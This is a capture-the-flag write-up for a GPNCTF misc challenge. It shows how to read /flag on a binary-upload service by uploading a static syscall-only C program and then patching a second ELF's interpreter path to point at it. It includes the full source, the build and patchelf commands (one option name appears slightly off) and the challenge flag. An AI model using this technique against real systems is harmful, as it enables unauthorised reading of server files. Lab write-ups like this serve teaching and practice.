I wanted to build an intro rev challenge but it didn’t work as intended when I deployed it to my Rocky 9 server. Maybe you can work around the issue and leak the flag in
/flag
Category: misc
Solver: rgw, aes
Flag: GPNCTF{D1d_y0u_st4rt_4_vm_0r_4_b4r3_m3t4l_r0cky_k3rn3l?}
Writeup
The setup is similar to “A full solve is what I’m thinking of”. However, there is no /catflag
binary. Therefore, we don’t have a binary that we can use as the interpreter for an uploaded ELF binary.
However, we notice that uploading the binary and requesting the frequency analysis are two different steps. Since we can request the report multiple times without re-uploading the binary, we infer that the binaries are persisted in the system. Also, the upload path is displayed in the frequency output:
The idea is therefore to upload two binaries:
- We first upload the interpreter binary, that when executed, outputs the contents of
/flag
- We then get the file path of the binary (e.g.
executables/interpreter_1462766232
), runpatchelf --set-binary executables/interpreter_1462766232 <other binary>
and upload this binary. This will run our first binary, printing the flag.
We can test this setup locally by running ldd
on the second binary.
The glibc dynamic linker imposes several requirements on interpreter binaries. Of course, they need to be statically compiled. There seemed to be other requirements as well and compiling random C code with -static
does not work.
One other requirement could be that if the interpreter and the binary have overlapping segments, the process will segfault [1].
In the end, we ended up simply asking ChatGPT for source code and compile commands. The following output ended up working:
#include <asm/unistd.h>
#define SYS_OPEN 2
#define SYS_READ 0
#define SYS_WRITE 1
#define SYS_CLOSE 3
#define SYS_EXIT 60
#define O_RDONLY 0
long syscall(long n,
long a1, long a2, long a3, long a4, long a5, long a6);
void _start() {
// Open the file /flag
long fd = syscall(SYS_OPEN, (long) "/flag", O_RDONLY, 0, 0, 0, 0);
// Check if the file descriptor is valid
if (fd < 0) {
syscall(SYS_EXIT, 1, 0, 0, 0, 0, 0); // Exit if the file couldn't be opened
}
// Buffer to hold the file contents
char buffer[128];
// Read the file contents
long bytes_read = syscall(SYS_READ, fd, (long) buffer, sizeof(buffer), 0, 0, 0);
// Write the file contents to stdout
if (bytes_read > 0) {
syscall(SYS_WRITE, 1, (long) buffer, bytes_read, 0, 0, 0);
}
// Close the file
syscall(SYS_CLOSE, fd, 0, 0, 0, 0, 0);
// Exit the program
syscall(SYS_EXIT, 0, 0, 0, 0, 0, 0);
}
long syscall(long n, long a1, long a2, long a3, long a4, long a5, long a6) {
asm volatile ("movq %4, %%r10;"
"movq %5, %%r8;"
"movq %6, %%r9;"
"syscall;"
: "=a"(n)
: "a"(n), "D"(a1), "S"(a2), "d"(a3),
"r"(a4), "r"(a5), "r"(a6)
: "%r10", "%r8", "%r9");
return n;
}
The interpreter needs to be built in the following way:
gcc -nostartfiles -fno-stack-protector -nostdlib interpreter.c -o interpreter
After uploading both binaries, we get the following analysis image:
We read off the flag GPNCTF{D1d_y0u_st4rt_4_vm_0r_4_b4r3_m3t4l_r0cky_k3rn3l?}
.